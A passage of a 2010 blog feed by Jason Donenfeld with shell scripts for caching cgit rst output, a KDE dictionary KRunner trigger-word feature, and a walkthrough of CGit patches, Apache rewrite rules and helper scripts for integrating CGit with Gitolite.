.<span style="color: #000000; font-weight: bold;">/</span>cgit.cgi <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">'/^$/,$p'</span> <span style="color: #000000; font-weight: bold;">|</span> ..<span style="color: #000000; font-weight: bold;">/</span>rst2html<span style="color: #000000; font-weight: bold;">/</span>rst2html</pre></div></div>

<p>The <tt>sed</tt> command prints all lines after the first empty line.</p>
<p>This is all fine, but cgit nicely caches output, and so should our rst script. To do this we need to look at the Last-Modified and Expires headers that cgit spits out and compare them to a cache file if it already exists. If the cache is dirty, we call <tt>rst2html</tt> on cgit&#8217;s output and <tt>tee</tt> it to the cache file to update it for the next call. If it&#8217;s clean, we just <tt>cat</tt> the cache. Along the way, we make sure to copy cgit&#8217;s HTTP cache headers for the rst file.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span>
<span style="color: #007800;">plain</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span>.<span style="color: #000000; font-weight: bold;">/</span>cgit.cgi<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #007800;">expiration</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$plain</span>&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">'s/^Expires: \(.*\)$/\1/p'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #007800;">lastmodified</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$plain</span>&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">'s/^Last-Modified: \(.*\)$/\1/p'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Content-Type: text/html&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Expires: <span style="color: #007800;">$expiration</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Last-Modified: <span style="color: #007800;">$lastmodified</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span>
<span style="color: #007800;">expiration</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">date</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$expiration</span>&quot;</span> +<span style="color: #000000; font-weight: bold;">%</span>s<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #007800;">lastmodified</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">date</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$lastmodified</span>&quot;</span> +<span style="color: #000000; font-weight: bold;">%</span>s<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #007800;">cache</span>=<span style="color: #ff0000;">&quot;../rst2html/cache/<span style="color: #007800;">$(echo $PATH_INFO | md5sum | cut -d ' ' -f 1)</span>&quot;</span>
<span style="color: #007800;">cachetime</span>=<span style="color: #000000;">0</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-f</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$cache</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
        <span style="color: #007800;">cachetime</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">stat</span> <span style="color: #660033;">-c</span> <span style="color: #000000; font-weight: bold;">%</span>Y <span style="color: #ff0000;">&quot;<span style="color: #007800;">$cache</span>&quot;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #007800;">$cachetime</span> <span style="color: #660033;">-ne</span> <span style="color: #000000;">0</span> <span style="color: #660033;">-a</span> <span style="color: #007800;">$cachetime</span> <span style="color: #660033;">-lt</span> <span style="color: #007800;">$expiration</span> <span style="color: #660033;">-a</span> <span style="color: #007800;">$cachetime</span> <span style="color: #660033;">-ge</span> <span style="color: #007800;">$lastmodified</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
        <span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$cache</span>&quot;</span>
<span style="color: #000000; font-weight: bold;">else</span>
        <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$plain</span>&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">'/^$/,$p'</span> <span style="color: #000000; font-weight: bold;">|</span> ..<span style="color: #000000; font-weight: bold;">/</span>rst2html<span style="color: #000000; font-weight: bold;">/</span>rst2html <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">tee</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$cache</span>&quot;</span>
<span style="color: #000000; font-weight: bold;">fi</span></pre></div></div>

<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/325#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=325" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/325/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Definable Trigger Word on Dictionary KRunner</title>
		<link>http://blog.zx2c4.com/313</link>
		<comments>http://blog.zx2c4.com/313#comments</comments>
		<pubDate>Sun, 01 Aug 2010 18:33:15 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[plasma]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=313</guid>
		<description><![CDATA[I announced in a previous post that I&#8217;ve created a dictionary runner for KDE SC 4.6. One requested feature in the comments was the ability to define a custom trigger word. I have added it. Here you see it uses definir instead of define. It&#8217;s configurable through the KCM popup in the krunner settings. If [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/313#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=313" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I announced in a <a href="http://blog.zx2c4.com/285">previous post</a> that I&#8217;ve created a dictionary runner for KDE SC 4.6. One requested feature in the comments was the ability to define a custom trigger word. I have added it.<br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2010/08/definir.png" alt="" title="Definir, not Define" width="433" height="216" class="aligncenter size-full wp-image-314" /><br />
Here you see it uses <i>definir</i> instead of define.<br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2010/08/changetriggerword.png" alt="" title="KCM Module" width="426" height="349" class="aligncenter size-full wp-image-315" /><br />
It&#8217;s configurable through the KCM popup in the krunner settings.</p>
<p>If you set the trigger word to nothing, then it will add dictionary entries for every query, which could be neat:<br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2010/08/notriggerword.png" alt="" title="No Trigger Word" width="420" height="350" class="aligncenter size-full wp-image-317" /></p>
<p>Hoping to move this out of kdereview soon and into kdebase.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/313#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=313" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/313/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Interfacing CGit and Gitolite</title>
		<link>http://blog.zx2c4.com/293</link>
		<comments>http://blog.zx2c4.com/293#comments</comments>
		<pubDate>Fri, 30 Jul 2010 20:50:17 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[CGit]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[Git]]></category>
		<category><![CDATA[Gitolite]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=293</guid>
		<description><![CDATA[As many of you know, the KDE Project is transitioning to using Git with Gitolite and CGit. As such, I thought I&#8217;d update my aging Gitweb/posix-permissions installation of git to use CGit and Gitolite, and now my public git repository is kicking away. (If you&#8217;d like commit access any place or would like to host [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/293#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=293" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>As many of you know, the KDE Project <a href="http://www.omat.nl/2010/07/07/move-to-git-the-progress-so-far/" onclick="pageTracker._trackPageview('/outgoing/www.omat.nl/2010/07/07/move-to-git-the-progress-so-far/?referer=');">is transitioning</a> to using <a href="http://git-scm.com/" onclick="pageTracker._trackPageview('/outgoing/git-scm.com/?referer=');">Git</a> with <a href="http://github.com/sitaramc/gitolite" onclick="pageTracker._trackPageview('/outgoing/github.com/sitaramc/gitolite?referer=');">Gitolite</a> and <a href="http://hjemli.net/git/cgit/" onclick="pageTracker._trackPageview('/outgoing/hjemli.net/git/cgit/?referer=');">CGit</a>. As such, I thought I&#8217;d update my aging Gitweb/posix-permissions installation of git to use CGit and Gitolite, and now my <a href="http://git.zx2c4.com" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com?referer=');">public git repository</a> is kicking away. (If you&#8217;d like commit access any place or would like to host your own repo on my server, drop me a line.)</p>
<p>Since Gitolite manages git repositories, it has the option of generating the necessary information for Git&#8217;s shipped <a href="https://git.wiki.kernel.org/index.php/Gitweb" onclick="pageTracker._trackPageview('/outgoing/git.wiki.kernel.org/index.php/Gitweb?referer=');">gitweb</a>. This includes making a static list of repository names that should be included in gitweb as well as optionally adding the gitweb.owner entry inside .git/config and the description file at .git/description. The static list of repository names is boring and standard and easy. The owner and description specifications are standards set by the Git project for this kind of information. Hence, Gitolite supports interfacing with them. </p>
<p>Meanwhile, CGit uses its own configuration format for determining the owner and description and repository path. For interfacing with Gitolite, in the past I have created a hook that writes out a CGit-formated configuration file, which is then included in the main cgitrc with the include directive. Essentially I had to do this:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">gitcode<span style="color: #000000; font-weight: bold;">@</span>starfox ~ $ <span style="color: #c20cb9; font-weight: bold;">cat</span> web<span style="color: #000000; font-weight: bold;">/</span>cgit<span style="color: #000000; font-weight: bold;">/</span>generaterepos.sh 
<span style="color: #666666; font-style: italic;">#!/bin/sh</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">cd</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">dirname</span> <span style="color: #ff0000;">&quot;$0&quot;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-f</span> repos.tmp
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">cat</span> ~<span style="color: #000000; font-weight: bold;">/</span>projects.list <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">while</span> <span style="color: #c20cb9; font-weight: bold;">read</span> gitname; <span style="color: #000000; font-weight: bold;">do</span>
        <span style="color: #007800;">name</span>=<span style="color: #800000;">${gitname%.*}</span>
        <span style="color: #007800;">fullpath</span>=<span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>gitcode<span style="color: #000000; font-weight: bold;">/</span>repositories<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$gitname</span>
        <span style="color: #007800;">owner</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">git</span> <span style="color: #660033;">--git-dir</span>=<span style="color: #007800;">$fullpath</span> config <span style="color: #660033;">--get</span> gitweb.owner<span style="color: #7a0874; font-weight: bold;">&#41;</span>
        <span style="color: #007800;">desc</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #007800;">$fullpath</span><span style="color: #000000; font-weight: bold;">/</span>description<span style="color: #7a0874; font-weight: bold;">&#41;</span>
        <span style="color: #7a0874; font-weight: bold;">&#40;</span>
                <span style="color: #7a0874; font-weight: bold;">echo</span> repo.url=<span style="color: #007800;">$name</span>
                <span style="color: #7a0874; font-weight: bold;">echo</span> repo.name=<span style="color: #007800;">$name</span>
                <span style="color: #7a0874; font-weight: bold;">echo</span> repo.path=<span style="color: #007800;">$fullpath</span>
                <span style="color: #7a0874; font-weight: bold;">echo</span> repo.desc=<span style="color: #007800;">$desc</span>
                <span style="color: #7a0874; font-weight: bold;">echo</span> repo.owner=<span style="color: #007800;">$owner</span>
                <span style="color: #7a0874; font-weight: bold;">echo</span> repo.enable-log-filecount=<span style="color: #000000;">1</span>
                <span style="color: #7a0874; font-weight: bold;">echo</span> repo.enable-log-linecount=<span style="color: #000000;">1</span>
        <span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&gt;&gt;</span> repos.tmp
<span style="color: #000000; font-weight: bold;">done</span>
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">mv</span> repos.tmp repos
&nbsp;
gitcode<span style="color: #000000; font-weight: bold;">@</span>starfox ~ $ <span style="color: #c20cb9; font-weight: bold;">tail</span> <span style="color: #660033;">-n</span> <span style="color: #000000;">1</span> web<span style="color: #000000; font-weight: bold;">/</span>cgit<span style="color: #000000; font-weight: bold;">/</span>cgitrc 
<span style="color: #007800;">include</span>=<span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>gitcode<span style="color: #000000; font-weight: bold;">/</span>web<span style="color: #000000; font-weight: bold;">/</span>cgit<span style="color: #000000; font-weight: bold;">/</span>repos
&nbsp;
gitcode<span style="color: #000000; font-weight: bold;">@</span>starfox ~ $ <span style="color: #c20cb9; font-weight: bold;">cat</span> repositories<span style="color: #000000; font-weight: bold;">/</span>gitolite-admin.git<span style="color: #000000; font-weight: bold;">/</span>hooks<span style="color: #000000; font-weight: bold;">/</span>post-update.secondary 
<span style="color: #666666; font-style: italic;">#!/bin/sh</span>
<span style="color: #7a0874; font-weight: bold;">exec</span> <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>gitcode<span style="color: #000000; font-weight: bold;">/</span>web<span style="color: #000000; font-weight: bold;">/</span>cgit<span style="color: #000000; font-weight: bold;">/</span>generaterepos.sh</pre></div></div>

<p>This worked decently, but it was cumbersome and ugly, and was likely not to scale as features in both Gitolite and CGit are added and changed. Luckily, CGit supports the scan-path option, which builds an internal list of repositories automatically by scanning a directory for git folders. One such solution for integrating with Gitolite would be to simply point scan-path at Gitolite&#8217;s repository directory. This works fine, but it has three main shortcomings, which I&#8217;ve addressed this in a generic non-Gitolite-specific way in three patches. Let&#8217;s walk through them one by one.</p>
<h4><a href="http://hjemli.net/git/cgit/commit/?id=14281049bc3877f7c525b9dc2d0be6ddb3c74b43" onclick="pageTracker._trackPageview('/outgoing/hjemli.net/git/cgit/commit/?id=14281049bc3877f7c525b9dc2d0be6ddb3c74b43&amp;referer=');">project-list</a></h4>
<p>We don&#8217;t want all Gitolite repositories showing up on CGit, and Gitolite provides a generic mechanism for controlling this: it writes a list of all the repositories selected for Gitweb to a file called projects.list. It&#8217;s just a flat file with each repository&#8217;s name written on a new line:</p>
<pre>
CheeseWhiz.git
Geoemail.git
MyCoolThangs.git
</pre>
<p>So, what about augmenting CGit&#8217;s scan-path feature with another setting called &#8220;project-list&#8221; that points to this file? That&#8217;s what this patch does. If project-list is set <i>before</i> scan-path is set, then scan-path only scans the git folders at project-list/${a line in the project-list file}. Problem solved, and this is a pretty generic way of doing it too. </p>
<h4><a href="http://hjemli.net/git/cgit/commit/?id=9a16aa15aea22e75f0a6025d816bd23d60aa179e" onclick="pageTracker._trackPageview('/outgoing/hjemli.net/git/cgit/commit/?id=9a16aa15aea22e75f0a6025d816bd23d60aa179e&amp;referer=');">remove-suffix</a></h4>
<p>Most people store git repositories on disk at MyGitRepository.git. Notice the <i>.git</i> ending. However, most people prefer to see it listed as just &#8220;MyGitRepository&#8221; and they especially would like to clone it at gituser@domain.com:MyGitRepository, without needing the .git ending. Usually, CGit&#8217;s scan-path infers the repository name directly from the folder name. This patch adds a setting called &#8220;remove-suffix&#8221; that, if set to 1 (default is 0) <i>before</i> scan-path is set, will remove the .git suffix from the repository name and url while still pointing to the correct physical path. This as well is fairly generic and not specific to Gitolite or Gitweb, but rather Git&#8217;s usual conventions.</p>
<h4><a href="http://hjemli.net/git/cgit/commit/?id=5f9ca914fe9d9f9dba6dcaaa50c2ef9589467ff8" onclick="pageTracker._trackPageview('/outgoing/hjemli.net/git/cgit/commit/?id=5f9ca914fe9d9f9dba6dcaaa50c2ef9589467ff8&amp;referer=');">enable-gitweb-owner</a></h4>
<p>CGit&#8217;s scan-path infers the owner of the repository from the posix owner&#8217;s UID name. But there is an additional Git <i>standard</i> for overriding this for any interface: the &#8220;gitweb.owner&#8221; configuration key in .git/config, which Gitolite understands and respects, as well as Gitweb. This patch simply calls Git&#8217;s internal C functions for fetching this information from the current repository&#8217;s config, and prefers this as the owner to the posix owner&#8217;s UID name. If gitweb.owner is not set in the configuration, it falls back to the posix owner&#8217;s UID name. This is a standard Git behavior. This occurs only for scan-path &#8212; cgitrc specified owners are preferred over these former two, obviously. Again, this configuration standard has been determined by the Git project, and both Gitolite and Gitweb respect it. So, this patch adds support inside CGit for it. </p>
<h4>it works</h4>
<p>Now instead of the include and the ugly set of scripts and hooks, I can just place this at the bottom of my cgitrc:</p>
<pre>
enable-gitweb-owner=1
remove-suffix=1
project-list=/home/gitcode/projects.list
scan-path=/home/gitcode/repositories
</pre>
<p>and this integrates perfectly with Gitolite. All is harmonious in the Git universe.</p>
<p>On top of all this, I&#8217;ve cooked up a wicked good .htaccess file for CGit that allows me to have anonymous http pull at the same time as it rewrites the CGit urls to be pretty. Check it out:</p>

<div class="wp_syntax"><div class="code"><pre class="apache" style="font-family:monospace;"><span style="color: #00007f;">Options</span> <span style="color: #0000ff;">FollowSymlinks</span> ExecCGI
&nbsp;
<span style="color: #00007f;">DirectoryIndex</span> cgit.cgi
<span style="color: #00007f;">Allow</span> from <span style="color: #0000ff;">all</span>
<span style="color: #00007f;">Order</span> <span style="color: #00007f;">allow</span>,<span style="color: #00007f;">deny</span>
&nbsp;
<span style="color: #00007f;">RewriteEngine</span> <span style="color: #0000ff;">on</span>
&nbsp;
<span style="color: #00007f;">SetEnv</span> GIT_PROJECT_ROOT=/home/gitcode/repositories
&nbsp;
<span style="color: #00007f;">RewriteCond</span> %{REQUEST_FILENAME} !-f
<span style="color: #00007f;">RewriteCond</span> %{REQUEST_FILENAME} !-d 
<span style="color: #00007f;">RewriteRule</span> <span style="color: #7f007f;">&quot;^(.*)/(.*)/(HEAD|info/refs|objects/(info/[^/]+|[0-9a-f]{2}/[0-9a-f]{38}|pack/pack-[0-9a-f]{40}<span style="color: #000099; font-weight: bold;">\.</span>(pack|idx))|git-(upload|receive)-pack)$&quot;</span> /git-http-backend.cgi/$1.git/$2 [NS,L,QSA]
&nbsp;
<span style="color: #00007f;">RewriteCond</span> %{REQUEST_FILENAME} !-f
<span style="color: #00007f;">RewriteCond</span> %{REQUEST_FILENAME} !-d
<span style="color: #00007f;">RewriteRule</span> ^.* /cgit.cgi/$0 [L,PT,NS]</pre></div></div>

<p>A strange combination of stopping internal redirects and partial rewritings and odd stop conditions has made it so that the request gets forwarded and reformatted to <a href="http://www.kernel.org/pub/software/scm/git/docs/git-http-backend.html" onclick="pageTracker._trackPageview('/outgoing/www.kernel.org/pub/software/scm/git/docs/git-http-backend.html?referer=');">git-http-backend</a> if and only if it is first valid with cgit.cgi. Is this crackable? Can anyone figure out a backdoor to grab a repository that isn&#8217;t in projects.list?</p>
<p>I&#8217;ve also written a super generic script for uploading new repositories to my gitolite/cgit installation. From a git working directory, I run <code>~/Projects/uploadNewGit.sh "This is a description of my new git repo."</code>, and <i>wham-shabam</i>, all the permissions get set and everything is uploaded just fine. Here is uploadNewGit, the latest version of which you can always find in my <a href="http://git.zx2c4.com/GitTools" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/GitTools?referer=');">GitTools repository</a>:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span>
&nbsp;
<span style="color: #007800;">GITOLITE_ADMIN</span>=<span style="color: #ff0000;">&quot;<span style="color: #007800;">$HOME</span>/Projects/gitolite-admin&quot;</span>
&nbsp;
<span style="color: #007800;">gitdir</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">readlink</span> <span style="color: #660033;">-f</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$(pwd)</span>&quot;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #007800;">name</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">basename</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$gitdir</span>&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cut</span> <span style="color: #660033;">-d</span> <span style="color: #000000; font-weight: bold;">/</span> <span style="color: #660033;">-f</span> <span style="color: #000000;">2</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cut</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">' '</span> <span style="color: #660033;">-f</span> <span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">`</span>
<span style="color: #007800;">description</span>=<span style="color: #ff0000;">&quot;$1&quot;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000; font-weight: bold;">!</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$gitdir</span>/.git&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
        <span style="color: #7a0874; font-weight: bold;">echo</span> Not a <span style="color: #c20cb9; font-weight: bold;">git</span> repo.
        <span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-z</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$description</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
        <span style="color: #7a0874; font-weight: bold;">echo</span> You need to specify a description argument.
        <span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">pushd</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$GITOLITE_ADMIN</span>/conf&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Writing config..&quot;</span>
<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">echo</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;  repo    <span style="color: #007800;">$name</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;          RW+CD   =   <span style="color: #007800;">$(whoami)</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;          R       =   @all&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;          <span style="color: #007800;">$name</span> <span style="color: #000099; font-weight: bold;">\&quot;</span><span style="color: #007800;">$(git config --get user.name)</span><span style="color: #000099; font-weight: bold;">\&quot;</span> = <span style="color: #000099; font-weight: bold;">\&quot;</span><span style="color: #007800;">$description</span><span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&gt;&gt;</span> gitolite.conf
<span style="color: #c20cb9; font-weight: bold;">git</span> commit <span style="color: #660033;">-a</span> <span style="color: #660033;">-m</span> <span style="color: #ff0000;">&quot;Adding <span style="color: #007800;">$name</span> to repository.&quot;</span>
<span style="color: #c20cb9; font-weight: bold;">git</span> push
<span style="color: #7a0874; font-weight: bold;">popd</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null
&nbsp;
<span style="color: #007800;">url</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">git</span> <span style="color: #660033;">--git-dir</span>=<span style="color: #007800;">$GITOLITE_ADMIN</span><span style="color: #000000; font-weight: bold;">/</span>.git remote <span style="color: #660033;">-v</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> push <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cut</span> <span style="color: #660033;">-f</span> <span style="color: #000000;">2</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cut</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">' '</span> <span style="color: #660033;">-f</span> <span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #ff0000;">&quot;s/<span style="color: #007800;">$(basename $GITOLITE_ADMIN)</span>/<span style="color: #007800;">$name</span>/&quot;</span><span style="color: #000000; font-weight: bold;">`</span>
<span style="color: #c20cb9; font-weight: bold;">git</span> remote <span style="color: #c20cb9; font-weight: bold;">rm</span> origin <span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null
<span style="color: #c20cb9; font-weight: bold;">git</span> remote add origin <span style="color: #007800;">$url</span>
<span style="color: #c20cb9; font-weight: bold;">git</span> push <span style="color: #660033;">-u</span> <span style="color: #660033;">--all</span>
<span style="color: #c20cb9; font-weight: bold;">git</span> push <span style="color: #660033;">--tags</span></pre></div></div>

<p><span style="font-size:8pt;font-style:italic">(As a side note, I&#8217;m not really sure the best way to quote commands inside of commands with variables that have spaces. something=$(command $(othercommand $argument)) has issues if argument has a space or if othercommand produces something with a space or if command produces something with a space (not totally certain about the latter two &#8212; I should check). But I can&#8217;t do this: something=&#8221;$(command &#8220;$(othercommand &#8220;$argument&#8221;)&#8221;)&#8221; because of obvious quoting problems. What&#8217;s the common solution to this? I&#8217;ve been using an awkward combination of the backtick operator `&#8230;` and the $(&#8230;) syntax but the backtick has some weird rules too. What&#8217;s the deal? Can somebody point me in a good place to read about this?)</span></p>
<p>Anyway, most of what I&#8217;ve written about in this post is new to me. Or at the very least, I&#8217;m a bit uneasy. So if you have any suggestions, by all means please tell me. I&#8217;m looking forward to seeing <a href="http://www.omat.nl/2010/07/25/sysadmin-status-update/" onclick="pageTracker._trackPageview('/outgoing/www.omat.nl/2010/07/25/sysadmin-status-update/?referer=');">what the KDE sysadmins do in the end</a>. Hopefully the CGit authors accept my patches.</p>
<p><b>Update:</b> After some back and forth with Lars, the CGit maintainer, I&#8217;ve added a few more patches, including putting the gitweb.owner functionality behind configuration setting and also caching the scan, among various other improvements. You can check out all the commits I&#8217;ve made on this at <s><a href="http://git.zx2c4.com/cgit/log/?qt=author&#038;q=Jason%20A.%20Donenfeld" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/cgit/log/?qt=author_038_q=Jason_20A._20Donenfeld&amp;referer=');">the cgit for my cgit clone</a></s>.</p>
<p><b>Update 2:</b> I&#8217;ve gotten rid of my branch because my commits <a href="http://hjemli.net/git/cgit/commit/?id=d53f45b108f1e764e5b0c2a1db30d085f1ff4c61" onclick="pageTracker._trackPageview('/outgoing/hjemli.net/git/cgit/commit/?id=d53f45b108f1e764e5b0c2a1db30d085f1ff4c61&amp;referer=');">have been merged to cgit</a>!</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/293#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=293" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/293/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
